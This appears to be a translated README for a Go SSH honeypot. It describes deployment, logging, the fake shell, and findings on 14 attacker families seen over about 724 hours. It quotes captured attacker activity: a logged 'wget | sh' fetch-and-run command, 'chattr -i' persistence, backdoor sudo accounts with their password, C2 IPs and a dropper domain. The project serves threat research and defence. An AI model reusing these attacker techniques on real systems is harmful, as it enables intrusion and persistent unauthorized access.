Am1ne-bou/ssh-honeypot

GitHub: Am1ne-bou/ssh-honeypot

用 Go 编写的中交互 SSH 蜜罐,通过伪造 shell 和 SCP 协议在真实 VPS 上捕获攻击者的凭据、命令和 payload。

Stars: 0 | Forks: 0

# ssh-honeypot ![CI](https://static.pigsec.cn/wp-content/uploads/repos/cas/ad/ad5834178f7599af9fdda11629d49cae07f2997beec49821b2920eff5bfd50e7.svg) 使用 Go 编写的中交互 SSH 蜜罐。监听 22 端口,记录所有认证尝试, 让攻击者进入一个伪造的 Linux shell,并记录他们的所有操作。 旨在部署在真实的公网 VPS 上并收集攻击数据 —— bot 尝试了哪些凭据、 执行了哪些探测、试图投放什么 payload。 最初只是低交互(仅记录认证)。随后第一批日志传来,我想 捕获更多信息 —— 看看攻击者在自以为身处真实系统时 究竟会做什么。添加了 lspci、nvidia-smi,并开始让 GPU 挖矿程序 运行其完整的 kill chain。看到了 SCP dropper,所以我添加了隔离功能。最终捕获了 第一个真实的 payload:一个 Raspberry Pi SSH 蠕虫,以及来自 ELF echo injector 的 二进制文件。 回首过去,“低交互”的标签已不再适用。SCP wire protocol、 有状态的虚拟 FS、工作管道以及算术扩展,都完全达到了中交互的标准。 ## 发现(724+ 小时,赫尔辛基 VPS) 完整分析见 [FINDINGS.md](FINDINGS.md)。 来自 1463 个源 IP 的 25026 次认证尝试。接受了 22238 个会话。识别出 14 个攻击家族。 几乎所有客户端都自识别为 `SSH-2.0-Go` —— 基于 Go SSH 库构建的大规模扫描器。 最新拉取(6月25日):稳定状态。没有新的家族。ELF echo injector (F10) 依然是 命令计数的唯一驱动力(4天内增加 529k)。越南的 `AsyncSSH` 凭据填充集群持续增加 IP(自6月21日以来增加了 184 个)。`admin` 超越 `123456` 成为最热门密码(657 vs 299)。前 12 名中有两个新条目:`alpine` (92) 和 `lab123` (82)。详见 FINDINGS.md。 热门密码:`admin`、`123456`、`1234`、`support`、`password`、`e3@HJgr=$4in-a-`、`postgres`、`alpine`。 **1. 凭据填充** —— 字典喷洒,基于 RockYou。一个 IP 尝试了 1545 个独立 密码,然后在成功进入后又继续尝试了 1382 次。还看到了中文泄露 数据集:如 `19870825` 这样的日期混合着罗马拼音化的名字。 **2. Diicot / GPU 挖矿程序** —— 约 180 个会话。通过 `lspci` 和 `nvidia-smi` 检查 GPU, 使用 `chattr -i` 锁定 `authorized_keys`(即使对 root 也是不可变的),并杀死竞争 挖矿程序。lspci 输出中伪造的 Tesla T4 触发了完整部署。 **3. SCP dropper** —— 尝试了 11 个目录,试图通过 `scp -t` 寻找可写路径。 蜜罐使用 SCP wire protocol 通信,因此 bot 认为自己成功了。 **4. 密码修改器** —— 将 root 密码更改为 `chpasswd`,以锁定其他 攻击者。经典的竞争排他性。 **5. C2 dropper (fileless)** —— `auth_ok` 十六进制 beacon + `wget|sh` pipeline。无任何 写入磁盘。通过 SSH exec channel 运行,对基于 shell 的日志记录不可见。 **6. w.sh / astats 持久化 bot** —— 同时使用 cron 和 systemd 用户服务。 进程名(`astats`、`netai`、`kstats`)伪装成监控工具。 **7. VPS 基础设施侦察 —— 35 条命令,无 payload。包含一个 `dd` 磁盘 基准测试,用于在决定部署前评估挖矿适用性。 **8. SSHCHK 存活检测器** —— 带有 BEGIN/END token 框架的结构化 C2 探测, 以及算术工作量证明(`echo $((7*191+3))` 必须返回 1340)。在发送 payload 之前确认是真实的 shell。截至 6月21日有 15,106 个会话(6月10-15日 约 940次/天,随后趋于平稳 —— 之后六天内仅增加 35次)。 **9. 最小化 OS 扫描器** —— 仅执行 `uname -s -m`,随后断开连接。纯粹的编目。 **10. ELF echo injector** —— 78 分钟,一个 SSH 连接,在下载失败时, 通过 43,058 条 `echo -e -n` 命令逐字节写入四个二进制文件。总计 84 个会话, 3,299,268 个 echo 数据块,正在加速(6月15-21日期间约 4-6 个会话/天)。 session.log 大小达到 3.3GB+ 很大程度上是因为这个。 ``` amd64 -- 5MB, 64-bit Go, stripped kal64 -- 3MB, 64-bit Go, stripped kswpad -- 1.2MB, ELF 32-bit x86 linux -- 1.3MB, ELF 32-bit x86, UPX packed ``` 我仍需对它们进行妥善分析 —— 打算先学习使用 Ghidra,等我有更多时间再说。 **11. Meow dropper** —— 从 C2 下载 `meow` (x86-64) 和 `meowarm64` (ARM64), 创建两个后门 sudo 用户(`admin1`、`user1`),密码为 `modzmodz`,将 一个 root 凭据写入 `/tmp/mew`。整个 kill chain 在一条 exec 命令中完成。113 个会话, 目前有三个 C2 IP(34.11.111.237、35.237.91.38、34.181.210.37)。 二进制分析待定。 **12. Wowo dropper** —— 从 `wowo.biz.id` 下载并执行 `runningaway.x86`, 传递一个 campaign 标签(`vipies`)作为参数,自我删除,并擦除历史记录。在此之前 进行了完整的 35 条命令的基础设施侦察。尚未分析该二进制文件。 **13. Raspberry Pi SSH 蠕虫 (gJw27HGL)** —— 隔离区实际捕获的 第一个 payload。是一个 4.7KB 的 bash 脚本,而非二进制文件。杀死竞争恶意软件, 注入 SSH 后门密钥,更改 `pi` 用户密码,然后生成一个 IRC bot, 连接到 Undernet 并等待 RSA 签名的命令。通过使用 zmap 扫描 10 万个 IP, 并尝试 `pi:raspberry` 和 `pi:raspberry993311` 进行自我传播。目前仍然活跃: 总共 5 次捕获(6月2、6、8、9、14日),每次哈希值均相同。我阅读了源码, 但仍需正确理解 IRC C2 那部分 —— 这是下一步的工作。 **14. 架构能力探测器** —— 通过 SCP 投放两个测试用的 ELF 二进制文件(x86-64 和 x86 32位,均为 "Hello, world!" 汇编,512B 和 348B),分别执行,然后删除。首先使用 `top -bn1` 快照正在运行的进程。这些测试二进制文件是手工制作的最小化 ELF —— 仅仅为了在真正的 payload 到来之前确认执行是否正常。客户端为 SSH-2.0-OpenSSH_9.9(数据集中唯一的真实 OpenSSH)。6月12日的一个会话,源 IP 185.129.62.63。真正的 payload 始终没有出现。隔离区哈希值:e374a7ad (512B)、f74a8b06 (348B)。 ## 架构 ``` attacker --> TCP :22 --> iptables REDIRECT --> :2222 --> honeypot process | /var/lib/honeypot/logs/ auth.log (every auth attempt) session.log (commands, exec, SCP) server.log (startup, config) operator --> TCP :VPS_PORT --> real OpenSSH ``` 三个 JSON 日志文件,每行一个事件: - `auth.log` —— 每次登录尝试:IP、用户、密码、客户端 banner、尝试次数、结果 - `session.log` —— 握手、channel 请求、命令(包括交互式 shell 和 SSH exec) - `server.log` —— 包含配置快照(auth_threshold、addr)的启动信息,以及错误 ## 认证行为 通过 `-auth-threshold N` 进行配置(默认为 1 —— 立即接受)。 当 `N=1` 时,每个 bot 在第一次尝试时就会获得一个 shell。当 `N=10` 时,服务器 在每次接受前会针对每个 IP 收集最多 9 个密码。由于 bot 每次猜测都会 建立一个新的 TCP 连接,因此尝试计数器会根据源 IP(而非 IP:端口)在多次连接间进行累积。 阈值和时间戳在启动时记录在 `server.log` 中, 周期分析工具会利用它来比较不同部署间的行为差异。 ## 构建 ``` make build ``` 生成静态的 Linux 二进制文件。需要 Go 1.22+。支持从任何 OS 交叉编译。 ``` GOOS=linux GOARCH=amd64 CGO_ENABLED=0 go build -o ssh-honeypot . ``` ## 部署 首先将真实的 sshd 移动到非标准端口。在 `/etc/ssh/sshd_config` 中: ``` Port VPS_PORT ``` 重启 sshd,**在进行任何其他操作之前,请确认您仍然可以在 VPS_PORT 上连接。** 将端口 22 重定向到蜜罐: ``` iptables -t nat -A PREROUTING -p tcp --dport 22 -j REDIRECT --to-port 2222 iptables-save > /etc/iptables/rules.v4 ``` 服务用户和目录: ``` useradd -r -s /sbin/nologin -d /var/lib/honeypot honeypot mkdir -p /var/lib/honeypot/logs /var/lib/honeypot/quarantine chown -R honeypot:honeypot /var/lib/honeypot ``` 复制二进制文件和 systemd unit: ``` scp -P -i ~/.ssh/your_key ssh-honeypot user@VPS:/tmp/ssh-honeypot ssh -p -i ~/.ssh/your_key user@VPS \ "sudo install -m 755 /tmp/ssh-honeypot /usr/local/bin/ssh-honeypot && \ sudo systemctl restart ssh-honeypot" ``` 验证新的二进制文件是否正在运行(在监听行中查找 `auth_threshold`): ``` ssh -p -i ~/.ssh/your_key user@VPS \ "cat /var/lib/honeypot/logs/server.log | tail -3" ``` ## flags ``` -addr listen address (default :2222) -host-key ed25519 host key file (default ./host.key) -log-dir log file directory (default ./logs) -quarantine-dir payload capture directory (default "" = disabled) -max-conn concurrent connection cap (default 100) -auth-threshold accept after N attempts per IP (default 1) ``` 主机密钥在首次运行时生成,并在多次重启中重复使用。如果密钥在 每次重启时都改变,这就是一种指纹泄露 —— 扫描器会注意到。 ## 日志 `auth.log` 条目: ``` {"time":"2026-05-27T05:03:14Z","level":"INFO","msg":"auth attempt","method":"password","user":"root","password":"123456","remote":"35.200.201.144:54321","client":"SSH-2.0-Go","attempt":1,"outcome":"accepted"} ``` `session.log` 有两种类型的命令条目: ``` {"time":"2026-05-27T05:03:14Z","level":"INFO","msg":"shell","sid":"dc727dd9b3","command":"uname -s -v -n -r -m"} {"time":"2026-05-29T10:24:55Z","level":"INFO","msg":"exec","sid":"5d9fcafd","command":"uname -a; echo -e \"\\x61\\x75\\x74\\x68\\x5F\\x6F\\x6B\\x0A\"; (wget ... | sh -s ssh)"} ``` `msg=shell` 是交互式 shell 命令。`msg=exec` 是一次性的 SSH exec(无 PTY)。 大多数自动化 bot 使用 exec —— 分析脚本必须同时统计两者。 `server.log` 启动条目: ``` {"time":"2026-05-29T06:15:23Z","level":"INFO","msg":"listening","addr":":2222","auth_threshold":1} ``` ## 分析 从 VPS 拉取日志: ``` mkdir -p ~/honeypot-logs/$(date +%Y-%m-%d) scp -P -i ~/.ssh/your_key \ "user@VPS:/var/lib/honeypot/logs/*.log" \ ~/honeypot-logs/$(date +%Y-%m-%d)/ ``` 一次性运行所有脚本: ``` ./analyze.sh ~/honeypot-logs/2026-05-29 ``` 生成五个文件:`result-HHMM--DD-MM-{report,full-stats,session,timeline,periods}.txt`。 单个脚本: ``` python3 analysis/report.py ./logs # heatmap, top passwords, session narratives, alerts python3 analysis/stats.py ./logs # raw counts + full password list python3 analysis/sessions.py ./logs # per-session event timeline python3 analysis/timeline.py ./logs # first/last-seen per command and password python3 analysis/periods.py ./logs # compare periods across server restarts / threshold changes ``` `periods.py` 读取 `server.log` 以获取重启时间戳和 `auth_threshold` 值, 按周期对认证和会话日志进行切片,并打印并排比较结果。用于 衡量配置更改的效果(例如 threshold=10 vs threshold=1)非常有用。 ## 伪 shell 处理约 80 个已注册命令:`whoami`、`id`、`uname`、`ls`、`cat`、`ps`、 `ifconfig`、`nvidia-smi`、`curl`、`wget`、`sudo` 等。针对配备 Tesla T4 GPU 和 8 个 CPU 核心的 Ubuntu 24.04 返回合理的输出。 支持的 shell 特性: - 管道:`nvidia-smi -q | grep "Product Name" | wc -l` 返回 `1` - `&&` 链式操作:在首次非零退出时停止 - `> /dev/null` 重定向剥离 - `$VAR` / `${VAR}` 展开 - 每个会话的虚拟文件系统:执行 `mkdir /tmp/x` 后再 `ls /tmp` 可以看到它 - SCP 接收:使用 wire protocol,确认上传,写入会话 FS 设置 `--quarantine-dir` 后,SCP payload 将被保存为 `-.bin` (只读,每个文件上限 50 MB)。 已知限制: - 不支持 `$(cmd)` 替换 - 网络命令返回预设输出,不发送真实流量 - `> file` 写入(除了 `/dev/null`)尚未实现
标签:EVTX分析, Go语言, Homebrew安装, PE 加载器, SSH, 威胁情报, 开发者工具, 攻击分析, 日志审计, 程序破解, 蜜罐, 证书利用, 逆向工具